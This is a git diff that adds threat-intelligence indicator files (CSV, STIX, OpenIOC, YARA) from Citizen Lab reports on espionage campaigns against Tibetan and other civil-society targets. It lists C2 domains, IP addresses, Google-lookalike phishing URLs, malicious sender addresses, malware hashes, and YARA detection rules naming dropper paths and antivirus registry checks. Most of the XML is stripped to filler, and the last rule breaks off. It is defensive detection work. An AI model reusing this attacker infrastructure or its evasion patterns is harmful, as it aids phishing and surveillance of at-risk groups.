Watchlist + Network activity: http://mail.asambleanacional.gob.ec (MISP Attribute #663) + + + + + http://mail.asambleanacional.gob.ec + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://pancaliente.info/los-negocios-secretos-de-leocenis-garcia-y-gonzalo-tirado (MISP Attribute #664) + Malware Artifacts + URL Watchlist + Network activity: http://pancaliente.info/los-negocios-secretos-de-leocenis-garcia-y-gonzalo-tirado (MISP Attribute #664) + + + + + http://pancaliente.info/los-negocios-secretos-de-leocenis-garcia-y-gonzalo-tirado + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://venezuela365.com/wp-content/uploads/2014/10/tirado-g-300×169.jpg (MISP Attribute #665) + Malware Artifacts + URL Watchlist + Network activity: http://venezuela365.com/wp-content/uploads/2014/10/tirado-g-300×169.jpg (MISP Attribute #665) + + + + + http://venezuela365.com/wp-content/uploads/2014/10/tirado-g-300×169.jpg + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: claudiobonadio88@gmail.com (MISP Attribute #666) + Malware Artifacts + Malicious E-mail + Payload delivery: claudiobonadio88@gmail.com (MISP Attribute #666) + + + + + + + claudiobonadio88@gmail.com + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: cfed.bonadio@gmail.com (MISP Attribute #667) + Malware Artifacts + Malicious E-mail + Payload delivery: cfed.bonadio@gmail.com (MISP Attribute #667) + + + + + + + cfed.bonadio@gmail.com + + + + + + + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: focusedtior1@gmail.com (MISP Attribute #668) + Malware Artifacts + Malicious E-mail + Payload delivery: focusedtior1@gmail.com (MISP Attribute #668) + + + + + + + focusedtior1@gmail.com + + + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: no.response.delivery.es@gmail.com (MISP Attribute #669) + Malware Artifacts + Malicious E-mail + Payload delivery: no.response.delivery.es@gmail.com (MISP Attribute #669) + + + + + + + no.response.delivery.es@gmail.com + + + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: enripintos123@outlook.es (MISP Attribute #670) + Malware Artifacts + Malicious E-mail + Payload delivery: enripintos123@outlook.es (MISP Attribute #670) + + + + + + + enripintos123@outlook.es + + + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: movimiento.anti.correista@gmail.com (MISP Attribute #671) + Malware Artifacts + Malicious E-mail + Payload delivery: movimiento.anti.correista@gmail.com (MISP Attribute #671) + + + + + + + movimiento.anti.correista@gmail.com + + + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: no-responder@supportgmai1.com (MISP Attribute #672) + Malware Artifacts + Malicious E-mail + Payload delivery: no-responder@supportgmai1.com (MISP Attribute #672) + + + + + + + no-responder@supportgmai1.com + + + + + + + + + + + + + + + + + + + + ../../../descendant-or-self::node() + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload type + + + + Payload type + + + + Payload type + + + + Payload type + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + + + citizenlab + + + https://citizenlab.org/2015/12/packrat-report/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/README.md b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/README.md new file mode 100644 index 0000000..8202bb8 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/README.md @@ -0,0 +1,8 @@ +## Shifting Tactics IOCs + +This directory contains IOC from the Citizen Lab report [Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans](https://citizenlab.org/2016/03/shifting-tactics/) published the 10th of May 2016. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format diff --git a/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/iocs.csv b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/iocs.csv new file mode 100644 index 0000000..ee9a579 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/iocs.csv @@ -0,0 +1,37 @@ +uuid,event_id,category,type,value,comment,to_ids,date +11bb35af-5ad7-4a10-844c-fb4482603b0b,11,Network activity,url,"http://accountgoogle.firewall-gateway.com/serviclogin","Decoy webpage",0,20160310 +11cf9c54-4d35-4a58-8128-a1076025ff25,11,Network activity,domain,"sys.firewall-gateway.net","C2 domain",1,20160310 +1f0bc371-f681-4049-855d-235e6bc5eb8e,11,Network activity,ip-dst,"5.54.19.17","",1,20160310 +228f765c-d5ab-4fcf-a190-775b9ed2ad70,11,Network activity,domain,"firewallupdate.firewall-gateway.com","Domain found through passive DNS",1,20160310 +23403344-c52e-4c19-9f7b-f5291b451bee,11,Payload delivery,md5,"fef27f432e0ae8218143bc410fda340e","",1,20160310 +26fb914b-1601-4049-a8b5-c9afc3a16bc0,11,Network activity,domain,"accountgoogle.firewall-gateway.com","Phishing Campaign Infrastructure",1,20160310 +318dd748-c9d9-4f7b-9b42-75a60001f9e1,11,Network activity,ip-dst,"95.154.195.171","",1,20160310 +35a7486a-38a7-4d3a-bdd8-1284d464484b,11,Network activity,domain,"firewallupdate.firewall-gateway.net","Domain found through passive DNS",1,20160310 +3baf841e-c377-44ba-ba20-dcfd7aa8ba22,11,Network activity,domain,"accounts-google.firewall-gateway.com","Domain found through passive DNS",1,20160310 +40edc447-3aaa-4f79-8268-16eddff19b33,11,Network activity,domain,"accountsgoogles.firewall-gateway.com","Domain found through passive DNS",1,20160310 +53477c01-59ad-47be-b808-4c6b518523fc,11,Network activity,ip-dst,"109.169.77.230","Resolve domain news[.]firewall-gateway[.]com",1,20160310 +581c1169-35f8-439b-ad90-49798e96ca05,11,External analysis,link,"https://citizenlab.org/2016/03/shifting-tactics/","",0,20161104 +5824e149-ba7c-4e04-b905-69fe8e96ca05,11,Artifacts dropped,md5,"ea45265fe98b25e719d5a9cc3b412d66","uroyh.exe",1,20160310 +5824e1e5-e340-40b0-b3fa-69fe8e96ca05,11,Attribution,threat-actor,"Scarlet Mimic","",0,20160310 +5824e33f-4c08-4b5f-8092-497a8e96ca05,11,Payload type,text,"FakeM","",0,20160310 +6308d2e1-a83a-44b2-b96f-267bc24efbd1,11,Network activity,domain,"filegoogle.firewall-gateway.com","Phishing Campaign Infrastructure",1,20160310 +633179a0-3d6e-4ca5-9b89-02d8522ef275,11,Payload delivery,filename,"Reappraisal_of_India_Tibet_Policy.doc","",0,20160310 +6d15c4fe-2de7-4abc-9593-c9eeae9b928f,11,Payload delivery,md5,"3b869c8e23d66ad0527882fc79ff7237","",1,20160310 +712c9cc1-2b2b-4636-87d2-12bd313376dc,11,Payload delivery,md5,"1bf438b5744db73eea58379a3b9f30e5","",1,20160310 +73e5412a-1252-495d-956d-28cfdd8edaed,11,Network activity,domain,"news.firewall-gateway.com","",1,20160310 +86627daf-07c8-467f-babc-426d586e7d4a,11,Network activity,domain,"detail43.myfirewall.org","",1,20160310 +8b0a371b-0c73-455d-a7ae-d0a530f23b04,11,Network activity,domain,"drivgoogle.firewall-gateway.com","Domain found through passive DNS",1,20160310 +8ce49cb3-e458-4568-b560-04a314ce9539,11,Network activity,ip-dst,"192.253.251.118","",1,20160310 +99702482-486a-4b63-8fa9-f094835827b2,11,Payload delivery,md5,"5c030802ad411fea059cc9cc4c118125","uroyh-unpacked.exe",1,20160310 +a31a03ec-f99e-4bec-95dc-3574c3512217,11,Network activity,ip-dst,"95.154.195.159","",1,20160310 +a95b5c9c-7ec9-42ff-a12c-075b3255de77,11,Payload delivery,md5,"7735e571d0450e2a31e97e4f8e0f66fa","Attached file",1,20160310 +ad5c4c3d-6194-4059-9aa1-1593b62d32a9,11,Network activity,ip-dst,"109.169.40.172","",1,20160310 +b2cebdea-e90b-416f-9a0f-94a566b32a2a,11,Network activity,ip-dst,"46.127.56.109","",1,20160310 +b84e33b7-1958-4507-b7bb-6bb63304842c,11,Network activity,domain,"googlefile.firewall-gateway.net","Domain found through passive DNS",1,20160310 +baf16087-e811-438d-bcdd-9779043dfb06,11,Payload delivery,md5,"d2e9412428c3bcf3ec98dba8a78adb7b","iph.bat",1,20160310 +c379b263-55d3-464d-b94f-178f02f883a8,11,Network activity,ip-dst,"87.117.229.109","",1,20160310 +cda51492-e33b-4521-be3b-35ec4b8bc9b4,11,Network activity,url,"http://accountgoogle.firewall-gateway.com/servicclogin","Decoy webpage",0,20160310 +dbabd2ee-213d-4b02-951f-a020cfc3582e,11,Payload delivery,md5,"8b83fc5d3a6a80281269f9e337fe3fff","pshvb.exe",1,20160310 +ebbe87e2-7f84-4f68-b766-f63820da7966,11,Network activity,domain,"accountsgoogle.firewall-gateway.com","Domain found through passive DNS",1,20160310 +f48470fd-c782-4831-a20d-4704b62f1358,11,Network activity,ip-dst,"78.129.252.159","",1,20160310 +fc6d0f74-9e43-44a7-b7b8-0ca5c7c487e6,11,Network activity,url,"http://filegoogle.firewall-gateway.com/servicelogin","Decoy webpage",1,20160310 diff --git a/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/openioc.ioc b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/openioc.ioc new file mode 100644 index 0000000..172844e --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/openioc.ioc @@ -0,0 +1,133 @@ + + + Event #11 + Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans + + citizenlab + 2016-03-10T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/stix.xml b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/stix.xml new file mode 100644 index 0000000..20f9766 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201603_Shifting_Tactics/stix.xml @@ -0,0 +1,982 @@ + + + Export from MISP + Threat Report + + + + + + Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans (MISP Event #11) + Threat Report + + + + Payload type: FakeM (MISP Attribute #1875) + + + + FakeM + + + + + + + + Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans + 11 + + 2016-03-10T00:00:00+00:00 + 2016-11-10T16:15:08+00:00 + + Closed + + + Artifacts dropped + + Artifacts dropped: ea45265fe98b25e719d5a9cc3b412d66 (MISP Attribute #1873) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: ea45265fe98b25e719d5a9cc3b412d66 (MISP Attribute #1873) + + + + + + + MD5 + ea45265fe98b25e719d5a9cc3b412d66 + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: Scarlet Mimic (MISP Attribute #1874) + Malware Artifacts + Attribution: Scarlet Mimic (MISP Attribute #1874) + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: filegoogle.firewall-gateway.com (MISP Attribute #499) + Malware Artifacts + Domain Watchlist + Network activity: filegoogle.firewall-gateway.com (MISP Attribute #499) + + + + + filegoogle.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accountgoogle.firewall-gateway.com (MISP Attribute #500) + Malware Artifacts + Domain Watchlist + Network activity: accountgoogle.firewall-gateway.com (MISP Attribute #500) + + + + + accountgoogle.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sys.firewall-gateway.net (MISP Attribute #501) + Malware Artifacts + Domain Watchlist + Network activity: sys.firewall-gateway.net (MISP Attribute #501) + + + + + sys.firewall-gateway.net + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: news.firewall-gateway.com (MISP Attribute #502) + Malware Artifacts + Domain Watchlist + Network activity: news.firewall-gateway.com (MISP Attribute #502) + + + + + news.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accountsgoogle.firewall-gateway.com (MISP Attribute #503) + Malware Artifacts + Domain Watchlist + Network activity: accountsgoogle.firewall-gateway.com (MISP Attribute #503) + + + + + accountsgoogle.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-google.firewall-gateway.com (MISP Attribute #504) + Malware Artifacts + Domain Watchlist + Network activity: accounts-google.firewall-gateway.com (MISP Attribute #504) + + + + + accounts-google.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accountsgoogles.firewall-gateway.com (MISP Attribute #505) + Malware Artifacts + Domain Watchlist + Network activity: accountsgoogles.firewall-gateway.com (MISP Attribute #505) + + + + + accountsgoogles.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: googlefile.firewall-gateway.net (MISP Attribute #506) + Malware Artifacts + Domain Watchlist + Network activity: googlefile.firewall-gateway.net (MISP Attribute #506) + + + + + googlefile.firewall-gateway.net + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: firewallupdate.firewall-gateway.com (MISP Attribute #507) + Malware Artifacts + Domain Watchlist + Network activity: firewallupdate.firewall-gateway.com (MISP Attribute #507) + + + + + firewallupdate.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: firewallupdate.firewall-gateway.net (MISP Attribute #508) + Malware Artifacts + Domain Watchlist + Network activity: firewallupdate.firewall-gateway.net (MISP Attribute #508) + + + + + firewallupdate.firewall-gateway.net + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drivgoogle.firewall-gateway.com (MISP Attribute #509) + Malware Artifacts + Domain Watchlist + Network activity: drivgoogle.firewall-gateway.com (MISP Attribute #509) + + + + + drivgoogle.firewall-gateway.com + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: detail43.myfirewall.org (MISP Attribute #510) + Malware Artifacts + Domain Watchlist + Network activity: detail43.myfirewall.org (MISP Attribute #510) + + + + + detail43.myfirewall.org + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 95.154.195.159 (MISP Attribute #512) + Malware Artifacts + IP Watchlist + Network activity: 95.154.195.159 (MISP Attribute #512) + + + + + 95.154.195.159 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 95.154.195.171 (MISP Attribute #513) + Malware Artifacts + IP Watchlist + Network activity: 95.154.195.171 (MISP Attribute #513) + + + + + 95.154.195.171 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 5.54.19.17 (MISP Attribute #514) + Malware Artifacts + IP Watchlist + Network activity: 5.54.19.17 (MISP Attribute #514) + + + + + 5.54.19.17 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 78.129.252.159 (MISP Attribute #515) + Malware Artifacts + IP Watchlist + Network activity: 78.129.252.159 (MISP Attribute #515) + + + + + 78.129.252.159 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 87.117.229.109 (MISP Attribute #516) + Malware Artifacts + IP Watchlist + Network activity: 87.117.229.109 (MISP Attribute #516) + + + + + 87.117.229.109 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 109.169.40.172 (MISP Attribute #517) + Malware Artifacts + IP Watchlist + Network activity: 109.169.40.172 (MISP Attribute #517) + + + + + 109.169.40.172 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 46.127.56.109 (MISP Attribute #518) + Malware Artifacts + IP Watchlist + Network activity: 46.127.56.109 (MISP Attribute #518) + + + + + 46.127.56.109 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 192.253.251.118 (MISP Attribute #519) + Malware Artifacts + IP Watchlist + Network activity: 192.253.251.118 (MISP Attribute #519) + + + + + 192.253.251.118 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 109.169.77.230 (MISP Attribute #511) + Malware Artifacts + IP Watchlist + Network activity: 109.169.77.230 (MISP Attribute #511) + + + + + 109.169.77.230 + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://filegoogle.firewall-gateway.com/servicelogin (MISP Attribute #520) + Malware Artifacts + URL Watchlist + Network activity: http://filegoogle.firewall-gateway.com/servicelogin (MISP Attribute #520) + + + + + http://filegoogle.firewall-gateway.com/servicelogin + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://accountgoogle.firewall-gateway.com/serviclogin (MISP Attribute #521) + Malware Artifacts + URL Watchlist + Network activity: http://accountgoogle.firewall-gateway.com/serviclogin (MISP Attribute #521) + + + + + http://accountgoogle.firewall-gateway.com/serviclogin + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://accountgoogle.firewall-gateway.com/servicclogin (MISP Attribute #522) + Malware Artifacts + URL Watchlist + Network activity: http://accountgoogle.firewall-gateway.com/servicclogin (MISP Attribute #522) + + + + + http://accountgoogle.firewall-gateway.com/servicclogin + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: Reappraisal_of_India_Tibet_Policy.doc (MISP Attribute #530) + Malware Artifacts + Payload delivery: Reappraisal_of_India_Tibet_Policy.doc (MISP Attribute #530) + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 5c030802ad411fea059cc9cc4c118125 (MISP Attribute #531) + Malware Artifacts + File Hash Watchlist + Payload delivery: 5c030802ad411fea059cc9cc4c118125 (MISP Attribute #531) + + + + + + + MD5 + 5c030802ad411fea059cc9cc4c118125 + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 7735e571d0450e2a31e97e4f8e0f66fa (MISP Attribute #532) + Malware Artifacts + File Hash Watchlist + Payload delivery: 7735e571d0450e2a31e97e4f8e0f66fa (MISP Attribute #532) + + + + + + + MD5 + 7735e571d0450e2a31e97e4f8e0f66fa + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: d2e9412428c3bcf3ec98dba8a78adb7b (MISP Attribute #533) + Malware Artifacts + File Hash Watchlist + Payload delivery: d2e9412428c3bcf3ec98dba8a78adb7b (MISP Attribute #533) + + + + + + + MD5 + d2e9412428c3bcf3ec98dba8a78adb7b + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 1bf438b5744db73eea58379a3b9f30e5 (MISP Attribute #534) + Malware Artifacts + File Hash Watchlist + Payload delivery: 1bf438b5744db73eea58379a3b9f30e5 (MISP Attribute #534) + + + + + + + MD5 + 1bf438b5744db73eea58379a3b9f30e5 + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 3b869c8e23d66ad0527882fc79ff7237 (MISP Attribute #535) + Malware Artifacts + File Hash Watchlist + Payload delivery: 3b869c8e23d66ad0527882fc79ff7237 (MISP Attribute #535) + + + + + + + MD5 + 3b869c8e23d66ad0527882fc79ff7237 + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: fef27f432e0ae8218143bc410fda340e (MISP Attribute #536) + Malware Artifacts + File Hash Watchlist + Payload delivery: fef27f432e0ae8218143bc410fda340e (MISP Attribute #536) + + + + + + + MD5 + fef27f432e0ae8218143bc410fda340e + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 8b83fc5d3a6a80281269f9e337fe3fff (MISP Attribute #537) + Malware Artifacts + File Hash Watchlist + Payload delivery: 8b83fc5d3a6a80281269f9e337fe3fff (MISP Attribute #537) + + + + + + + MD5 + 8b83fc5d3a6a80281269f9e337fe3fff + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload type + + + + + + Event Threat Level: Medium + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + MISP Tag: TARGET:TIBETAN + + + + + citizenlab + + + https://citizenlab.org/2016/03/shifting-tactics/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/README.md b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/README.md new file mode 100644 index 0000000..21eef2a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/README.md @@ -0,0 +1,9 @@ +## UP007 & SLServer IOCs + +This directory contains IOC from the Citizen Lab report ["Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns"](https://citizenlab.org/2016/04/between-hong-kong-and-burma/) published the 18th of April 2016. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* rules.yar : Yara rules diff --git a/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/iocs.csv b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/iocs.csv new file mode 100644 index 0000000..5e94f9b --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/iocs.csv @@ -0,0 +1,25 @@ +uuid,event_id,category,type,value,comment,to_ids,date +581ba7b8-59f4-402f-95d9-497a8e96ca05,2,Payload type,text,"UP007","",0,20160418 +581ba817-0954-44a7-afce-49798e96ca05,2,Payload delivery,md5,"6a541de84074a2c4ff99eb43252d9030","",1,20160418 +581ba817-1620-457c-ae64-49798e96ca05,2,Payload delivery,md5,"cfcd2a90e87156e1a811f9c7b0051002","",1,20160418 +581ba817-1d18-4479-997f-49798e96ca05,2,Payload delivery,md5,"d8becbd6f188e3fb2c4d23a2d36d137b","",1,20160418 +581ba817-2ce0-4046-9865-49798e96ca05,2,Payload delivery,md5,"09ddd70517cb48a46d9f93644b29c72f","",1,20160418 +581ba817-4924-41de-9ce9-49798e96ca05,2,Payload delivery,md5,"dc195d814ec16fe91690b7e949e696f6","",1,20160418 +581ba817-5a08-4dff-a2d8-49798e96ca05,2,Payload delivery,md5,"ce8ec932be16b69ffa06626b3b423395","",1,20160418 +581ba817-8010-4c55-a7c9-49798e96ca05,2,Payload delivery,md5,"397021af7c0284c28db65297a6711235","",1,20160418 +581ba817-8d0c-4716-90dc-49798e96ca05,2,Payload delivery,md5,"d8ede9e6c3a1a30398b0b98130ee3b38","",1,20160418 +581ba817-91f4-4e92-9164-49798e96ca05,2,Payload delivery,md5,"f70b295c6a5121b918682310ce0c2165","",1,20160418 +581ba817-9adc-4354-9b03-49798e96ca05,2,Payload delivery,md5,"d07b2738840ce3419df651d3a0a3a246","",1,20160418 +581ba817-ad74-4d70-bc5a-49798e96ca05,2,Payload delivery,md5,"639c7239f40d95f677a99abb059e8338","",1,20160418 +581ba817-c96c-4e46-bd92-49798e96ca05,2,Payload delivery,md5,"e0eb981ad6be0bd16246d5d442028687","",1,20160418 +581ba817-cf4c-42ae-b661-49798e96ca05,2,Payload delivery,md5,"f80edbb0fcfe7cec17592f61a06e4df2","",1,20160418 +581ba817-d2a4-4dcb-b1b3-49798e96ca05,2,Payload delivery,md5,"d579d7a42ff140952da57264614c37bc","",1,20160418 +581ba833-2410-4a7c-a67f-497a8e96ca05,2,Network activity,domain,"computer.security-centers.com","C2 servers",1,20160418 +581ba833-4eb8-4589-ad6e-497a8e96ca05,2,Network activity,domain,"tenday.mysecondarydns.com","C2 servers",1,20160418 +581ba833-5f7c-40f0-b2d4-497a8e96ca05,2,Network activity,domain,"safetyssl.security-centers.com","C2 servers",1,20160418 +581ba833-6060-4ce6-b102-497a8e96ca05,2,Network activity,domain,"hkemail.f3322.org","C2 servers",1,20160418 +581ba833-71b8-4f00-b1f8-497a8e96ca05,2,Network activity,domain,"www.olinaodi.com","C2 servers",1,20160418 +581ba849-3730-4528-a94e-49798e96ca05,2,Network activity,ip-dst,"59.188.12.123","IP behind C2 domains",1,20161110 +581ba849-a850-4cbf-a6b2-49798e96ca05,2,Network activity,ip-dst,"210.61.12.153","IP behind C2 domains",1,20161110 +581ba88c-c144-41d1-ad67-497a8e96ca05,2,Payload type,text,"SLServer","",0,20160418 +581ba8ac-e8a4-4fa0-b8f1-49798e96ca05,2,Internal reference,link,"https://citizenlab.org/2016/04/between-hong-kong-and-burma/","",0,20160418 diff --git a/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/openioc.ioc b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/openioc.ioc new file mode 100644 index 0000000..84d1762 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/openioc.ioc @@ -0,0 +1,97 @@ + + + Event #2 + Tracking UP007 and SLServer Espionage Campaigns + + citizenlab + 2016-04-18T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/rules.yar b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/rules.yar new file mode 100644 index 0000000..179487a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201604_UP007_SLServer/rules.yar @@ -0,0 +1,190 @@ +rule dubseven_file_set +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for service files loading UP007" + + strings: + $file1 = "\\Microsoft\\Internet Explorer\\conhost.exe" + $file2 = "\\Microsoft\\Internet Explorer\\dll2.xor" + $file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL" + $file4 = "\\Microsoft\\Internet Explorer\\main.dll" + $file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe" + $file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll" + $file7 = "\\Microsoft\\Internet Explorer\\mon" + $file8 = "\\Microsoft\\Internet Explorer\\runas.exe" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + //Just a few of these as they differ + 3 of ($file*) +} + +rule dubseven_dropper_registry_checks +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for registry keys checked for by the dropper" + + strings: + $reg1 = "SOFTWARE\\360Safe\\Liveup" + $reg2 = "Software\\360safe" + $reg3 = "SOFTWARE\\kingsoft\\Antivirus" + $reg4 = "SOFTWARE\\Avira\\Avira Destop" + $reg5 = "SOFTWARE\\rising\\RAV" + $reg6 = "SOFTWARE\\JiangMin" + $reg7 = "SOFTWARE\\Micropoint\\Anti-Attack" + + condition: + 